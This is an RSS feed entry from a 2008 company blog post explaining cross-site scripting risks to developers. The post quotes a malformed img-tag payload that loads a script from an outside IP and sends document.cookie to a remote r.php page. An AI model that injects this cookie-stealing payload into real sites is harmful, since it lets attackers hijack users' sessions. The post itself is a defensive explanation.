<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>MIH SWAT &#187; cross site scripting</title>
	<atom:link href="http://www.mihswat.com/tag/cross-site-scripting/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.mihswat.com</link>
	<description>MIH SWAT - the official blog of MIH's Strategic Worldwide Applications and Technology Team.</description>
	<lastBuildDate>Mon, 06 Sep 2010 10:24:26 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>XSS Risks</title>
		<link>http://www.mihswat.com/2008/10/06/xss-risks/</link>
		<comments>http://www.mihswat.com/2008/10/06/xss-risks/#comments</comments>
		<pubDate>Mon, 06 Oct 2008 12:01:48 +0000</pubDate>
		<dc:creator>Tyrone Visagie</dc:creator>
				<category><![CDATA[Web 2.0]]></category>
		<category><![CDATA[development]]></category>
		<category><![CDATA[cross site scripting]]></category>
		<category><![CDATA[vulnerability]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://www.mihswat.com/?p=52</guid>
		<description><![CDATA[Making your site secure has always been an issue… an issue that most developers ignore. There are, however, a few things you can do to defend your site from the majority of attacks. Everybody knows what these attacks are… buffer overruns, sql injection, etc., and there are many ways in which  you can successfully prevent [...]]]></description>
			<content:encoded><![CDATA[<p>Making your site secure has always been an issue… an issue that most developers ignore. There are, however, a few things you can do to defend your site from the majority of attacks. Everybody knows what these attacks are… buffer overruns, sql injection, etc., and there are many ways in which  you can successfully prevent these types of vulnerabilities.<span id="more-52"></span></p>
<p>As usual, the introduction of new technology brings with it new risks and vulnerabilities. XSS (Cross Site Scripting) is when users inject code into web pages that are viewed by others. As an end user, you would typically never know that this is being done and Web 2.0 sites are particularly vulnerable to this as they allow users to post HTML rich content.</p>
<p>One of the solutions is to check all the html and try to strip out what could be malicious. The problem with this is deciding what is malicious and what is not.</p>
<p>An example found on codinghorror.com:</p>
<p>User input</p>
<ul>
<li>
<pre>&lt;img src=""http://www.a.com/a.jpg&lt;script type=text/javascript
src="http://1.2.3.4:81/xss.js"&gt;" /&gt;&lt;&lt;img
src=""http://www.a.com/a.jpg&lt;/script&gt;"</pre>
</li>
</ul>
<p>This would typically not be picked up as malicious, but at runtime this code gets converted to</p>
<ul>
<li>
<pre>window.location="http://1.2.3.4:81/r.php?u="
+document.links[1].text
+"&amp;l="+document.links[1]
+"&amp;c="+document.cookie;</pre>
</li>
</ul>
<p>This effectively means that all the information in your cookie has now been transmitted to another server. Cookies are used in practically all sites and getting access to a user&#8217;s cookie basically means that you have access to everything for that user on that site.</p>
<p>About 70% of web sites are open to these attacks. Digg, GMail and Wikipedia have all been successfully hacked using this.</p>
<p>Depending on the sites that we run, this could be a problem or a non-issue. It has to be in the back of minds though that these things are possible and we need to take steps where appropriate to prevent this from happening</p>
]]></content:encoded>
			<wfw:commentRss>http://www.mihswat.com/2008/10/06/xss-risks/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
